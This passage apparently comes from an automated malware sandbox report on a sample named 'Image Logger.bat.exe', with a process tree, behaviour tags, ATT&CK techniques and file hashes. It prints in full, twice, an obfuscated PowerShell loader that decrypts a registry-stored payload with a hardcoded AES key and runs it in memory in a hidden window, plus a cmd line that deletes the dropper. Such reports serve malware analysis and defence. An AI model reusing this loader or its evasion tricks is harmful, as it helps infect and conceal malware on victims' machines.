[System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2400).WaitForExit();[System.Threading.Thread]::Sleep(5000); function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); $AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3428
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:396 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
PID:1720
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C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3692
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C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe"5⤵
- Kills process with taskkill
PID:1140
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C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe"5⤵
- Views/modifies file attributes
PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3812
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4076
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3588
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4320
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2080
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2468
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4396
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3384
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:5036
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3864
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:1912
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca1⤵PID:5016
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:Global.IrisService.AppXwt29n3t7x7q6fgyrrbbqxwzkqjfjaw4y.mca1⤵PID:1628
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:848
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:1012
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:2880
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:3848
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:1916
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
Hide Artifacts
2Hidden Files and Directories
1Hidden Window
1Indicator Removal
1Clear Windows Event Logs
1Replay Monitor
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Downloads
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Filesize
445KB
MD52e5a8590cf6848968fc23de3fa1e25f1
SHA1801262e122db6a2e758962896f260b55bbd0136a
SHA2569785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3
SHA5125c5ca5a497f39b07c7599194512a112b05bba8d9777bee1cb45bf610483edbffff5f9132fee3673e46cf58f2c3ba21af7df13c273a837a565323b82a7b50a4d8
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1.8MB
MD57873612dddd9152d70d892427bc45ef0
SHA1ab9079a43a784471ca31c4f0a34b698d99334dfa
SHA256203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf
SHA512d988e9ff11017465b019cf3b599ef7597d2c44fc37cbee9e846dee51990ca5dc45942cc183d9d25c1dfd84f33f922c2ceead6efc1ead19e8eecb509dfb78a083
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Filesize
52KB
MD59ef28981adcbf4360de5f11b8f4ecff9
SHA1219aaa1a617b1dfa36f3928bd1020e410666134f
SHA2568caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a
SHA512ef7f0b25fae749e6134269683f973fef37dfa1969fa4fa0567378ada073c36da4feb17b62d3282c443f4d3ba8b4aeb39063c607c848ade095880d981141adb9c
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Filesize
162KB
MD5a366d6623c14c377c682d6b5451575e6
SHA1a8894fcfb3aa06ad073b1f581b2e749b54827971
SHA2567ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6
SHA512cc7da40652209337d2122cafc903d3c11e31b5a37baf2247034e2f3e1de255e58d0e27fc134ce60a6812e6674fd8bc899f2b434dfc1160053f684cf220e6cb11